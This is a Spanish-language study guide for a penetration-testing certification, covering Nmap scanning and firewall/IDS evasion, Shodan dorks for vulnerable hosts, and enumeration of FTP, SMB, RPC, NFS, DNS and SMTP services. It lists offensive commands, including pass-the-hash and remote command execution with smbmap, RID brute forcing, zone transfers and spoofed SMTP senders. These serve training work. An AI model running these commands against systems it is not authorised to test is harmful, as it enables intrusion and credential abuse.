Especialista en pruebas de penetración

El Especialista certificado en pruebas de penetración de HTB (HTB CPTS) es una certificación

altamente práctica que evalúa las habilidades de pruebas de penetración de los
candidatos. Los titulares de la certificación de Especialista certificado en pruebas de
penetración de HTB poseerán competencia técnica en los dominios de piratería ética y
pruebas de penetración en un nivel intermedio. También podrán evaluar el riesgo al que
está expuesta una infraestructura y redactar un informe de calidad comercial y procesable.

Alejandro González B. (Anonimo501)

[Link]
[Link] (Canal cristiano)
[Link]
[Link]
Contenido

Contenido
NMAP .................................................................................................................................................. 5
Footprinting ....................................................................................................................................... 13
Information Gathering - Web Edition ................................................................................................ 45
FILE TRANSFERS (TRANSFERENCIA DE ARCHIVOS) ............................................................................ 59
Shells & Payloads (PROYECTILES Y CARGAS ÚTILES).......................................................................... 63
Metasploit ......................................................................................................................................... 74
Password Attacks (ATAQUES DE CONTRASEÑA) ................................................................................ 85
Ataque a los servicios comunes ...................................................................................................... 204
Reconocimiento, enumeración y
planificación de ataques
 NMAP
Herramienta para enumerar hosts, analizar puertos y servicios.

Descubrimiento de host

nmap [Link]/24 -sn -oA tnet | grep for | cut -d" " -f5

[Link]/24 Rango de red objetivo.

-sn Desactiva el escaneo de puertos.
-oA tnet Almacena los resultados en todos los
formatos comenzando con el nombre
'tnet'.
-iL Realiza análisis definidos contra objetivos
en la lista '[Link]' proporcionada.
-PE Realiza el escaneo de ping utilizando
'solicitudes de eco ICMP' contra el
objetivo.
--packet-trace Muestra todos los paquetes enviados y
recibidos.
--reason Muestra el motivo de un resultado
específico.

Escanear lista de IP

nmap -sn -oA tnet -iL [Link] | grep for | cut -d" " -f5
Escanear múltiples IP

nmap -sn -oA tnet [Link] [Link] [Link]| grep for | cut -d" " -f5

Si estas direcciones IP están una al lado de la otra, también podemos definir el rango en el
octeto respectivo.

nmap -sn -oA tnet [Link]-20| grep for | cut -d" " -f5

Sistema operative objetivo mediante el TTL

Linux/Unix: 64
Windows: 128
MacOS: 64
Solaris/AIX: 254
FreeBSD: 64

Estados de resultado NMAP

Estado Descripción
open Esto indica que se ha establecido la
conexión con el puerto escaneado. Estas
conexiones pueden ser conexiones TCP,
datagramas UDP y asociaciones SCTP.
closed Cuando el puerto se muestra como
cerrado, el protocolo TCP indica que el
paquete que recibimos contiene una RST
bandera. Este método de escaneo
también se puede utilizar para determinar
si nuestro objetivo está vivo o no.
filtered Nmap no puede identificar correctamente
si el puerto escaneado está abierto o
cerrado porque no se devuelve ninguna
respuesta del destino para el puerto o
recibimos un código de error del destino.
unfiltered Este estado de un puerto solo ocurre
durante el escaneo TCP-ACK y significa que
el puerto es accesible, pero no se puede
determinar si está abierto o cerrado.
open|filtered Si no obtenemos respuesta para un puerto
concreto, Nmap lo configuraremos en ese
estado. Esto indica que un firewall o un filtro
de paquetes pueden proteger el puerto.
closed|filtered Este estado solo ocurre en los escaneos
inactivos de ID de IP e indica que fue
imposible determinar si el puerto
escaneado está cerrado o filtrado por un
firewall.
Descubriendo puertos TCP abiertos

--top-ports=10 (Escanea los 10 puertos más conocidos, el numero 10 lo podemos cambiar

por el número de puertos más conocidos que deseemos ver).

nmap [Link] --top-ports=10

nmap [Link] --top-ports=1024

-p 21 Explora sólo el puerto especificado.

--packet-trace Muestra todos los paquetes enviados y
recibidos.
-n Desactiva la resolución DNS.
--disable-arp-ping Deshabilita el ping ARP.
-Pn Deshabilita las solicitudes de eco ICMP.
-F Escanea los 100 puertos principales.
-sU Realiza un escaneo UDP.
--reason Muestra el motivo por el que un puerto se
encuentra en un estado particular.
-sV Realiza un análisis de servicio.

Escaneo de puertos UDP

nmap [Link] -F -sU

nmap [Link] -sU -Pn -n --disable-arp-ping --packet-trace -p 137 --reason

Guardar los resultados

• Salida normal (-oN) con la extensión .nmap de archivo

• Salida grepable (-oG) con la extensión .gnmap de archivo
• Salida XML (-oX) con la extensión .xml de archivo
• La opción (-oA) para guardar los resultados en todos los formatos.

nmap [Link] -p- -oA target

Guarda los resultados en todos los formatos, comenzando el nombre de cada archivo con
' target '.

Hojas de estilo

Xsltproc: Se encuentra incluida dentro de parrot OS y nos permite convertir salidas (archivos)
de nmap .xml a .html

xsltproc [Link] -o [Link]

El cual se ve de la siguiente manera.

Enumeración de versiones de los servicios

-p- Escanea todos los puertos.

-sV Realiza la detección de la versión del
servicio en puertos específicos.
-v Aumenta el detalle del escaneo, que
muestra información más detallada.

secuencias de comandos Nmap

Nmap Scripting Engine (NSE)

Categoría Descripción
auth Determinación de credenciales de
autenticación.
broadcast Los scripts, que se utilizan para el
descubrimiento de hosts mediante la
transmisión y los hosts descubiertos, se
pueden agregar automáticamente a los
análisis restantes.
brute Ejecuta scripts que intentan iniciar sesión en
el servicio respectivo mediante fuerza bruta
con credenciales.
default Scripts predeterminados ejecutados
usando la opción -sC.
discovery Evaluación de servicios accesibles.
dos Estos scripts se utilizan para comprobar los
servicios en busca de vulnerabilidades de
 denegación de servicio y se utilizan menos
porque dañan los servicios.
exploit Esta categoría de scripts intenta explotar
vulnerabilidades conocidas del puerto
escaneado.
external Scripts que utilizan servicios externos para su
posterior procesamiento.
fuzzer Utiliza scripts para identificar
vulnerabilidades y manejo inesperado de
paquetes mediante el envío de diferentes
campos, lo que puede llevar mucho
tiempo.
intrusive Scripts intrusivos que podrían afectar
negativamente al sistema de destino.
malware Comprueba si algún malware infecta el
sistema de destino.
safe Scripts defensivos que no realizan accesos
intrusivos y destructivos.
version Extensión para detección de servicios.
vuln Identificación de vulnerabilidades
específicas.

Ejemplos:

comandos predeterminados

nmap <target> -sC

scripts específicos

nmap <target> --script <category>

nmap <target> --script exploit
nmap [Link] -p 80 -sV --script vuln

Guiones definidos

nmap <target> --script <script-name>,<script-name>,...

nmap [Link] -p 25 --script banner,smtp-commands

--script banner,smtp-commands: Utiliza scripts NSE específicos.

Escaneo agresivo

-A Realiza detección de servicios, detección

de sistema operativo, traceroute y utiliza
scripts predeterminados para escanear el
objetivo.
--script vuln Utiliza todos los scripts relacionados de la
categoría especificada.
Escaneo rápido/optimizado

Nmap -p- --min-rate 5000

--min-rate 300 Establece el número mínimo de paquetes

que se enviarán por segundo.

Timing

(-T <0-5>) Donde 0 es el escaneo más lento (Menos agresivo) y 5 más rápido (Mas agresivo)

-T 0/-T paranoid
-T 1/-T sneaky
-T 2/-T polite
-T 3/-T normal
-T 4/-T aggressive
-T 5/-T insane

nmap [Link]/24 -F -T 5

Evasión de Firewalls IDS/IPS

-sT (TCP Connect Scan) - Más ruidoso

-sS (SYN Scan) - Moderadamente sigiloso
-sA (ACK Scan) - Más sigiloso

-sT (TCP Connect Scan): El más ruidoso porque establece conexiones completas con el
puerto objetivo. Genera entradas de registro en los sistemas del objetivo, lo que facilita su
detección.

-sS (SYN Scan): Menos ruidoso que -sT. Envía un paquete SYN y espera un SYN/ACK de vuelta,
pero no completa la conexión (envía un RST en lugar de un ACK). Esto hace que sea menos
probable que se registren conexiones completas, pero aún puede ser detectado por
sistemas de seguridad configurados para monitorear los paquetes SYN.

-sA (ACK Scan): El más sigiloso de los tres. Envía solo paquetes ACK y no establece ninguna
conexión. Se utiliza principalmente para mapear reglas de firewall y detectar puertos
filtrados. Este tipo de escaneo es menos probable de ser registrado y puede evadir algunos
sistemas de detección de intrusos (IDS).

El método de escaneo TCP ACK (-sA) de Nmap es mucho más difícil de filtrar para firewalls
y sistemas IDS/IPS que los escaneos SYN (-sS) o Connect (-sT) normales porque solo envían
un paquete TCP con solo la bandera ACK.

NOTA: --source-port 53: se usa comúnmente para evasión de firewalls.

SYN-Scan desde el puerto DNS

Si el administrador usa el firewall para controlar este puerto y no filtra IDS/IPS correctamente,
nuestros paquetes TCP serán confiables y se transmitirán.

nmap [Link] -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53

-sS Realiza un escaneo SYN en puertos

específicos.
-sA Realiza un escaneo ACK en puertos
específicos.
-sT Realiza un escaneo normal (más ruidoso)
-O Realiza un análisis de detección del sistema
operativo.
-S Escanea el objetivo utilizando una
dirección IP de origen diferente.
-D RND:5 Genera cinco direcciones IP aleatorias que
indican la IP de origen de la que proviene
la conexión.
--disable-arp-ping Deshabilita el ping ARP.
-n Desactiva la resolución DNS.
-Pn Deshabilita las solicitudes de eco ICMP.
--source-port 53 Realiza los análisis desde el puerto de
origen especificado. (DNS)

Escanear utilizando una IP de origen diferente

nmap [Link] -n -Pn -p 445 -O -S [Link] -e tun0

Escaneo con -sT

nmap [Link] -p 443 --packet-trace --disable-arp-ping -Pn -n --reason -sT

3 ejemplos de escaneos de menos sigiloso a más sigiloso

Ejemplo 1: Muy intrusivo o ruidoso en red

nmap -p 80 -sCV -sT <target>

Ejemplo 2: Menos intrusivo y sirve en algunos casos con firewall

nmap --top-ports=1024 -sS -sV <target> -T 3 -Pn -n -vv

nmap <target> -sUV -p 53 --disable-arp-ping -Pn -n

Ejemplo 3: Muy sigiloso

Descubrir puertos
nmap -v -sV -p- -Pn -n --disable-arp-ping --source-port 53 <target>
nmap <target> -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53
 nmap --top-ports=10 -sA -sV <target> -T 2 --disable-arp-ping --packet-trace -Pn -n -vv -D
RND:5
nmap -sV -p 50000 -T1 -Pn -n --source-port 53 <target>

Ahora que hemos descubierto que el firewall acepta TCP port 53, es muy probable que los
filtros IDS/IPS también estén configurados de manera mucho más débil que otros. Podemos
probar esto intentando conectarnos a este puerto usando Netcat. (Podremos ver la version
del servicio del puerto)

Ejemplo de conexión

nc -nv --source-port 53 <target> 50000

nc -nv <target> 50000 -p 53
 Footprinting
Verificar el certificado ssl

[Link]

Encontrar subdominios

[Link]

También podemos generar los resultados en formato JSON

curl -s [Link] | jq .

También podemos filtrarlos por subdominios únicos.

curl -s [Link] | jq . | grep name | cut -d":"

-f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u

Instalacion de jq

sudo apt-get update

sudo apt-get install jq
Obtener IPs de Subdominios

Guardamos el resultado (Todos los dominios encontrados) en un archivo con el nombre

subdomainlist y pasamos el siguiente comando del cual podemos identificar los hosts
directamente accesibles desde Internet y no alojados por terceros proveedores. Esto se
debe a que no podemos probar los hosts sin el permiso de terceros proveedores.

Entonces, como resultados tendremos las IPs de los dominios.

for i in $(cat subdomainlist);do host $i | grep "has address" | grep [Link] | cut
-d" " -f1,4;done

Una vez que veamos qué hosts se pueden investigar más a fondo, podemos generar una
lista de direcciones IP con un pequeño ajuste en el comando cut y ejecutarlas en Shodan.

Ahora que tenemos las IPs de los subdominios, con el siguiente comando guardaremos las
IPs en un archivo de texto con el nombre [Link].

for i in $(cat subdomainlist);do host $i | grep "has address" | grep [Link] | cut -d"
" -f4 >> [Link];done

SHODAN

Ahora usaremos Shodan con la lista de IPs que obtuvimos.

Shodan se puede utilizar para buscar dispositivos y sistemas conectados permanentemente

a Internet como Internet of Things (IoT). Busca en Internet puertos TCP/IP abiertos y filtra los
sistemas según términos y criterios específicos. Por ejemplo, abra los puertos HTTP o HTTPS y
se buscan otros puertos del servidor para FTP, SSH, SNMP, Telnet, RTSP o SIP. Como resultado,
podemos encontrar dispositivos y sistemas, como surveillance cameras, servers, smart home
systems, industrial controllers, traffic lights y traffic controllers, y varios componentes de red.

Creamos una cuenta en shodan, y buscamos el API de shodan, para ello vamos al botón
Account.
Ahora desde parrot iniciamos shodan con el comando

shodan init API

Ahora puede ejecutar el comando para realizar la búsqueda en shodan desde la consola.

for i in $(cat [Link]); do shodan host $i; done

shodan host [Link]

Descripción Comando de Shodan

Buscar dispositivos en una IP específica shodan host [Link]
Buscar dispositivos en un rango de IPs "net:[Link]/24"
Buscar dispositivos en un dominio específico "hostname:[Link]"
Filtrar por país "country:MX [Link]"
Buscar dispositivos con puerto específico "port:3389 [Link]"
"port:554, 8554 [Link] product:"DVR" or
Buscar cámaras IP
"webcam"
Buscar servicios FTP sin autenticación "ftp anonymous [Link]"
"port:445 [Link] product:Microsoft vuln:ms17-
Buscar servidores SMB vulnerables
010"
Buscar routers de una marca específica "netgear [Link]"
Buscar cámaras de un fabricante específico "hikvision [Link]"
"port:3389 [Link] AND "authentication method:
Buscar servicios RDP
password"
Buscar servidores SSH "port:22 [Link] product:OpenSSH"
Buscar acceso VNC sin contraseña "port:5900 [Link] authentication disabled"
Buscar dispositivos vulnerables a EternalBlue "vuln:ms17-010 [Link]"
Buscar dispositivos con HTTP expuesto "[Link]:index of / [Link]"
Buscar servicios FTP vulnerables "port:21 [Link] "220" "Welcome"
Buscar routers MikroTik con exploits "mikrotik [Link] port:8291"
Buscar portales de administración "title:admin [Link]"
Buscar banners con palabras clave "banner:Apache [Link]"
Buscar servicios Telnet abiertos "port:23 [Link]"
Buscar impresoras en red "product:printer [Link]"
Buscar MongoDB expuesto "port:27017 [Link]"
Buscar MySQL expuesto "port:3306 [Link]"
Cámaras en México con RDP "port:3389 country:MX title:webcam [Link]"
Servicios SSH de un proveedor de nube "port:22 org:DigitalOcean [Link]"
Dispositivos vulnerables a EternalBlue en una
"vuln:ms17-010 net:[Link]/24 [Link]"
IP
Registros DNS (DIG)

podemos mostrar todos los registros DNS disponibles donde podríamos encontrar más hosts.

dig any [Link]

proveedores externos como [Link] también pueden decirnos mucho sobre la

infraestructura de la empresa

[Link]

Dorks

[Link]

Google para AWS

intext:txt inurl:[Link]

Google para Azure

intext:txt inurl:[Link]

Otro proveedor muy útil es GrayHatWarfare. Podemos realizar muchas búsquedas

diferentes, descubrir almacenamiento en la nube de AWS, Azure y GCP, e incluso ordenar
y filtrar por formato de archivo. Por tanto, una vez que los hayamos encontrado a través de
Google, también podremos buscarlos en GrayHatWarfare y descubrir pasivamente qué
archivos están almacenados en el almacenamiento en la nube determinado.
AWS

[Link]
[Link]

Claves SSH privadas y públicas privadas

Clave SSH
Personal/Staff

Los empleados pueden ser identificados en varias redes comerciales como LinkedIn o Xing.
Las ofertas de trabajo de las empresas también pueden decirnos mucho sobre su
infraestructura y darnos pistas sobre lo que deberíamos buscar.

A partir de una oferta de trabajo como esta podemos ver, por ejemplo, qué lenguajes de
programación son los preferidos por la empresa: Java, C#, C++, Python, Ruby, PHP, Perl, y
obtener mucha información de estas publicaciones.

También buscar información en proyectos de github, podría mostrarnos información

adicional como correos u otro tipo de información.

Security Headers

[Link]

Clickjacking

[Link]

FTP

El File Transfer Protocol (FTP) es uno de los protocolos más antiguos de Internet. El FTP se
ejecuta dentro de la capa de aplicación de la pila del protocolo TCP/IP. Por lo tanto, está
en la misma capa que HTTP o POP. Estos protocolos también funcionan con el soporte de
navegadores o clientes de correo electrónico para realizar sus servicios. También existen
programas FTP especiales para el Protocolo de transferencia de archivos.

ftp usa los puertos 20 y 21.

TFTP

Esto se refleja, por ejemplo, en el hecho de que TFTP, a diferencia de FTP, no requiere
autenticación del usuario. No admite el inicio de sesión protegido mediante contraseñas y
establece límites de acceso basados únicamente en los permisos de lectura y escritura de
un archivo en el sistema operativo. En la práctica, esto lleva a que TFTP opere
exclusivamente en directorios y con archivos que han sido compartidos con todos los
usuarios y pueden leerse y escribirse globalmente. Debido a la falta de seguridad, TFTP, a
diferencia de FTP, sólo puede utilizarse en redes locales y protegidas.

Comandos Descripción
connect Establece el host remoto y, opcionalmente,
el puerto para transferencias de archivos.
get Transfiere un archivo o conjunto de archivos
desde el host remoto al host local.
put Transfiere un archivo o conjunto de archivos
desde el host local al host remoto.
quit Sale de tftp.
status Muestra el estado actual de tftp, incluido el
modo de transferencia actual (ascii o
binario), el estado de la conexión, el valor
de tiempo de espera, etc.
verbose Activa o desactiva el modo detallado, que
muestra información adicional durante la
transferencia de archivos.

Instalar vsFTPd

sudo apt install vsftpd

Archivo de configuración vsFTPd

cat /etc/[Link] | grep -v "#"

hay un archivo llamado /etc/ftpusersal que también debemos prestar atención, ya que
este archivo se utiliza para denegar el acceso al servicio FTP a ciertos usuarios.

cat /etc/ftpusers

Conectar a servicio FTP

ftp [Link]

Algunos comandos ftp

help ayuda
ls Lista
ls -R Lista recursiva
get Important\ [Link] Descarga [Link] del directorio import
Put Cargar archivos
 Exit Salir

Descargar todos los archivos disponibles

wget -m --no-passive [Link]

Una vez hayamos descargado todos los archivos con wget, crearemos un directorio con el
nombre de la dirección IP de nuestro objetivo. Todos los archivos descargados se
almacenan allí, que luego podemos inspeccionar localmente.

Cargar un archivo (FTP)

Creamos un archivo de texto.

touch [Link]

Con el comando PUT, podemos cargar archivos de la carpeta actual al servidor FTP.

put [Link]

Encontrar los scripts NSE (Nmap Script Engine) FTP en nmap

find / -name ftp* 2>/dev/null | grep script

Escanear el Puerto FTP agresivamente con NMAP

nmap -sV -p21 -sC -A <target>

Seguimiento de script de Nmap

nmap -sV -p21 -sC -A <target> --script-trace

Interacción de servicio

nc -nv <target> 21
telnet <target> 21
ftp <target>

Se ve ligeramente diferente si el servidor FTP se ejecuta con cifrado TLS/SSL. Porque

entonces necesitamos un cliente que pueda manejar TLS/SSL. Para ello podemos utilizar
el cliente openssl y comunicarnos con el servidor FTP. Lo bueno de usar openssl es que
podemos ver el certificado SSL.
openssl s_client -connect [Link]:21 -starttls ftp

SMB/SAMBA

Versión SMB Soportado Características

CIFS windows nt 4.0 Comunicación a través de la
interfaz NetBIOS
SMB 1.0 ventana 2000 Conexión directa vía TCP
SMB 2.0 Windows Vista, servidor Windows Actualizaciones de rendimiento,
2008 firma de mensajes mejorada,
función de almacenamiento en
caché
SMB 2.1 Windows 7, servidor Windows 2008 R2 Mecanismos de bloqueo
SMB 3.0 Windows 8, servidor Windows 2012 Conexiones multicanal, cifrado de
extremo a extremo, acceso a
almacenamiento remoto
SMB 3.0.2 Windows 8.1, servidor Windows 2012
R2
SMB 3.1.1 Windows 10, servidor Windows 2016 Comprobación de integridad,
cifrado AES-128

Ruta samba

/etc/samba/[Link]

Reiniciar el servicio samba

systemctl restart smbd

SMBclient - Conexión al recurso compartido

mostrar una lista (-L) null session (-N), que es el acceso (anonymous) sin el ingreso de usuarios
existentes o contraseñas válidas.

smbclient -N -L //<IP> Ver recursos compartidos

smbclient //<IP>/directorio Conectar al servidor SMB y directorio
smbclient //<IP>/directorio -U user Conectar al SMB y dir con usuario sin pass
get [Link] Descargar archivos desde SMB

SMBMAP

smbmap -H <IP> Si el objetivo tiene el puerto 445 habilitado

smbmap -H <IP> -r directorio Ver el contenido de la carpeta namedirectorio
smbmap -H <IP> --download Descargar un archivo
"notes\[Link]"
smbmap -u user -p 'Passwd' -H <IP> Probar este y el siguiente renglón
smbmap -H <IP> -u user -p 'passwd' funciona distinto
smbmap -H <IP> -u '' -p '' -P 139 También se puede usar sin -u -p
smbmap -H [Link] --upload [Link] "notes\[Link]"
smbmap -u user -p
'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H <IP>
smbmap -u 'admin' -p 'asdf1234!' -d ACME -h [Link] -x 'net group "Domain Admins"
/domain'

SMBCLIENT

smbclient -N -L <IP> Ver recursos compartidos, pide contraseña

smbclient -N -L <IP> -p 139
smbget -R smb://ip/nombre-archivo Descargar archivos recursivamente por
SMB
smbclient -U user \\\\<IP>\\SHARENAME Se debe ingresar password
smbclient //<IP>/ nombre-archivo -U user%password
smbclient -N \\\\<IP>\\nombre-directorio Nos permite conectar a la ruta
smbclient -N //[Link]/directorio especificada
smbclient -U "" //<IP>/directorio Conecta con la victima-Necesita directorio
smbclient //<IP>/directorio Conecta con la victima-Necesita directorio
smbclient -p 139 -U bob \\\\<IP>\\users Con usuario

RPCCLIENT (PORTS 139 - 445) (Siempre probar loguearse sin passwords)

Es una herramienta incluida en el paquete Samba, utilizada para interactuar con el servicio
RPC (Remote Procedure Call) en servidores Windows. Permite realizar diversas operaciones
administrativas y de consulta en sistemas Windows de manera remota.

Funcionalidades de rpcclient

Enumeración de Usuarios y Grupos

 rpcclient -U '' -N <IP>
rpcclient -U "" <IP>
rpcclient -U username%password -c “enumdomusers” <IP>

Consultas sobre el Sistema

rpcclient -U username%password -c "srvinfo" target_ip

Gestión de Cuentas

rpcclient -U username%password -c "createuser newuser" target_ip

Enumeración de Recursos Compartidos

rpcclient -U username%password -c "netshareenum" target_ip

Consultas de SID (Security Identifier)

Permite traducir nombres de usuarios y grupos a sus SID correspondientes y viceversa.

rpcclient -U username%password -c "lookupnames username" target_ip

Estando conectados al servidor mediante rpcclient, podemos ingresar algunos de los

siguientes comandos.

Consulta Descripción
querydispinfo and enumdomusers Enumeración de usuarios
srvinfo Información del servidor.
enumdomains Enumere todos los dominios que están
implementados en la red.
querydominfo Proporciona información de dominio,
servidor y usuario de los dominios
implementados.
netshareenumall Enumera todas las acciones disponibles.
netsharegetinfo <share> Proporciona información sobre una acción
específica.
enumdomusers Enumera todos los usuarios del dominio.
queryuser <RID> Proporciona información sobre un usuario
queryuser 0x3e9 específico.

RID de usuario de fuerza bruta

for i in $(seq 500 1100);do rpcclient -N -U "" <target> -c "queryuser 0x$(printf '%x\n' $i)" |
grep "User Name\|user_rid\|group_rid" && echo "";done
for i in $(seq 500 1100);do rpcclient -N -U "user%Password" <target> -c "queryuser 0x$(printf
'%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
Veremos algo como lo siguiente

Una alternativa a esto sería un script Python de Impacket llamado [Link]

[Link]

El cual se ejecutaría de la siguiente manera

[Link] <target>

Resultado

La información que ya hemos obtenido con rpcclient también la podemos obtener

utilizando otras herramientas. Por ejemplo, las herramientas SMBMap y CrackMapExec
también se utilizan ampliamente y son útiles para la enumeración de servicios SMB.

SMBmap

smbmap -H <target>

CrackMapExec

crackmapexec smb <target> --shares -u '' -p ''

Otra herramienta que vale la pena mencionar es la llamada enum4linux-ng , que se basa
en una herramienta más antigua, enum4linux. Esta herramienta automatiza muchas de las
consultas, pero no todas, y puede devolver una gran cantidad de información.
Enum4Linux-ng – Instalación

git clone [Link]

cd enum4linux-ng
pip3 install -r [Link]

Enum4Linux-ng - Enumeración

./[Link] <target> -A

Necesitamos utilizar más de dos herramientas para la enumeración. Porque puede suceder
que, debido a la programación de las herramientas, obtengamos información diferente
que tengamos que comprobar manualmente.

NFS

Ruta de archivo de configuración NFS

cat /etc/exports

Exportar FS

Compartiremos la carpeta /mnt/nfs con la subred [Link]/24 con la configuración que

se muestra a continuación. Esto significa que todos los hosts de la red podrán montar este
recurso compartido NFS e inspeccionar el contenido de esta carpeta.

echo '/mnt/nfs [Link]/24(sync,no_subtree_check)' >> /etc/exports

systemctl restart nfs-kernel-server
exportfs

/mnt/nfs [Link]/24

Nmap para escanear NFS (Puertos NFS 111,2049)

nmap <target> -p111,2049 -sV -sC

Nmap NSE para escanear NFS

nmap --script nfs* <target> -sV -p111,2049

Una vez que hayamos descubierto dicho servicio NFS, podemos montarlo en nuestra
máquina local. Para ello, podemos crear una nueva carpeta vacía en la que se montará
el recurso compartido NFS. Una vez montado, podemos navegar por él y ver el contenido
como si fuera nuestro sistema local.

Instalar el paquete nfs-common (Para poder ejecutar el comando showmount)

sudo apt-get install nfs-common

Mostrar recursos compartidos NFS disponibles (ATAQUE)

showmount -e <target>

Montaje del recurso compartido NFS

mkdir Directorio
mount -t nfs <target>:/ ./Directorio/ -o nolock
mount -t nfs <target>:/JNFS ./Directorio/ -o nolock
cd Directorio
tree .

Algunos comandos mas

ls -l mnt/nfs/ Listar contenidos con nombres de usuario y nombres de grupos

ls -n mnt/nfs/ Listar contenidos con UID y GUID

También podemos usar NFS para una mayor escalada. Por ejemplo, si tenemos acceso al
sistema a través de SSH y queremos leer archivos de otra carpeta que un usuario específico
pueda leer, necesitaríamos cargar un shell en el recurso compartido NFS que tiene el SUID
de ese usuario y luego ejecutar el shell a través del usuario SSH.

Una vez que hayamos realizado todos los pasos necesarios y obtenido la información que
necesitamos, podemos desmontar el recurso compartido NFS.

Desmontaje

cd ..
umount ./target-NFS
rm -rf target-NFS
 DNS

Domain Name System (DNS) es una parte integral de Internet. Por ejemplo, a través de
nombres de dominio, como [Link] o [Link],
podemos llegar a los servidores web a los que el proveedor de hosting tiene asignadas una
o más direcciones IP específicas.

El DNS no está cifrado, pero existen herramientas para que viaje cifrado, estas herramientas
son DNS over TLS (DoT) o DNS over HTTPS (DoH) y DNSCrypt.

Registro DNS Descripción

A Como resultado, devuelve una
dirección IPv4 del dominio solicitado.
AAAA Devuelve una dirección IPv6 del
dominio solicitado.
MX Como resultado, devuelve los
servidores de correo responsables.
NS Devuelve los servidores DNS (servidores
de nombres) del dominio.
TXT Este registro puede contener diversa
información. Este todoterreno se puede
utilizar, por ejemplo, para validar
Google Search Console o validar
certificados SSL. Además, las entradas
SPF y DMARC están configuradas para
 validar el tráfico de correo y protegerlo
del spam.
CNAME Este registro sirve como alias. Si el
dominio [Link] debe
apuntar a la misma IP, creamos un
registro A para uno y un registro CNAME
para el otro.
PTR El registro PTR funciona al revés
(búsqueda inversa). Convierte
direcciones IP en nombres de dominio
válidos.
SOA Proporciona información sobre la zona
DNS correspondiente y la dirección de
correo electrónico del contacto
administrativo.

Ejemplo de comando (SOA)

dig soa [Link]

Del resultado del comando anterior obtenemos el resultado de la siguiente imagen, donde
podremos cambiar el punto (.) por el @ y este sería el correo (awsdns-
hostmaster@[Link]).

La sincronización entre los servidores involucrados se realiza mediante transferencia de

zona. Utilizando una clave secreta rndc-key, que hemos visto inicialmente en la
configuración por defecto, los servidores se aseguran de comunicarse con su propio
maestro o esclavo. La transferencia de zona implica la mera transferencia de archivos o
registros y la detección de discrepancias en los conjuntos de datos de los servidores
involucrados.

Rutas de archivos de configuración locales (Generalmente)

cat /etc/bind/[Link] Ruta de configuración DNS local

cat /etc/bind/[Link] Ruta de archivos de zona
cat /etc/bind/db.10.129.14 Archivos de zona de resolución de nombre
inverso

Podemos utilizar la opción ANY para ver todos los registros disponibles. Esto hará que el
servidor nos muestre todas las entradas disponibles que está dispuesto a revelar. Es
importante tener en cuenta que no se mostrarán todas las entradas de las zonas.
DIG

dig any [Link] @<IP> any

dig ns [Link] @<IP> Consulta NS
dig CH TXT [Link] <IP> DIG - Consulta de versión
dig axfr [Link] @<IP> DIG - Transferencia de zona AXFR
dig axfr [Link] @<IP> DIG - Transferencia de zona AXFR - Interna
dig soa [Link] SOA
dig axfr @<IP> [Link] Transferencia de zona con la ip de
[Link]

Fuerza bruta de subdominio

Usaremos un diccionario de SecLists con nombres de host para realizar fuerza bruta.

for sub in $(cat /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-

[Link]);do dig $[Link] @<IP> | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep
$sub | tee -a [Link];done
/usr/share/wordlists/SecLists/Discovery/DNS/fierce- Diccionario para hosts (FQDN)
[Link]

Al ejecutar el comando anterior veremos un resultado como el siguiente

Podemos usar también DNSenum, viene instalada en Parrot OS.

dnsenum --dnsserver <IP> --enum -p 0 -s 0 -o [Link] -f

/usr/share/wordlists/SecLists/Discovery/DNS/[Link]
[Link]
 SMTP

El Simple Mail Transfer Protocol (SMTP) es un protocolo para enviar correos electrónicos en
una red IP. Se puede utilizar entre un cliente de correo electrónico y un servidor de correo
saliente o entre dos servidores SMTP. SMTP a menudo se combina con los protocolos IMAP o
POP3, que pueden recuperar y enviar correos electrónicos. En principio es un protocolo
basado en cliente-servidor, aunque se puede utilizar SMTP entre un cliente y un servidor y
entre dos servidores SMTP. En este caso, un servidor actúa efectivamente como cliente.

SMTP aceptan solicitudes de conexión en el puerto 25

SMTP más nuevos también utilizan otros puertos como el puerto TCP 587

SMTP funciona sin cifrar, sin medidas adicionales y transmite todos los comandos, datos o
información de autenticación en texto sin formato (Texto plano). Para evitar la lectura no
autorizada de datos, el SMTP se utiliza junto con el cifrado SSL/TLS. En determinadas
circunstancias, un servidor utiliza un puerto distinto del puerto TCP estándar 25 para la
conexión cifrada, por ejemplo, el puerto TCP 465.

SMTP tiene dos desventajas inherentes al protocolo de red

• La primera es que enviar un correo electrónico mediante SMTP no devuelve una

confirmación de entrega utilizable.
• Los usuarios no se autentican cuando se establece una conexión y, por tanto, el
remitente de un correo electrónico no es fiable.

Para interactuar con el servidor SMTP, podemos usar la herramienta telnet para inicializar
una conexión TCP con el servidor SMTP. La inicialización real de la sesión se realiza con el
comando HELO o EHLO.

Comandos

Dominio Descripción
AUTH PLAIN AUTH es una extensión de servicio utilizada
para autenticar al cliente.
HELO El cliente inicia sesión con el nombre de su
computadora y así inicia la sesión.
MAIL FROM El cliente nombra el remitente del correo
electrónico.
RCPT TO El cliente nombra el destinatario del correo
electrónico.
DATA El cliente inicia la transmisión del correo
electrónico.
RSET El cliente aborta la transmisión iniciada,
pero mantiene la conexión entre el cliente
y el servidor.
VRFY El cliente comprueba si hay un buzón
disponible para la transferencia de
mensajes.
 EXPN El cliente también verifica si hay un buzón
disponible para enviar mensajes con este
comando.
NOOP El cliente solicita una respuesta del servidor
para evitar la desconexión por tiempo de
espera.
QUIT El cliente finaliza la sesión.

Telnet-VRFY

El comando VRFY se puede utilizar para enumerar los usuarios existentes en el sistema. Sin
embargo, esto no siempre funciona, puede arrojar falsos positivos según la configuración
del servidor.

SMTP puede emitir code 252 para usuarios existentes, pero también puede llegar a
confirmar la existencia de un usuario que no existe en el sistema.

VRFY root
252 2.0.0 root

VRFY aaaaaaaaaaaaaaaaaaaaaaaaaaaa
252 2.0.0 aaaaaaaaaaaaaaaaaaaaaaaaaaaa

Comandos SMTP mediante Telnet por el puerto 25 (Generalmente)

telnet <IP> 25
nc [dirección_IP] 25
helo <IPVICTIMA> EHLO <IPVICTIMA>
mail from: atacante@[Link]
rcpt to: victima@[Link]
Data
Quit

Enumeración de SMTP con NMAP

nmap <IP> -sC -sV -p25

nmap <IP> -p25 --script smtp-open-relay -v

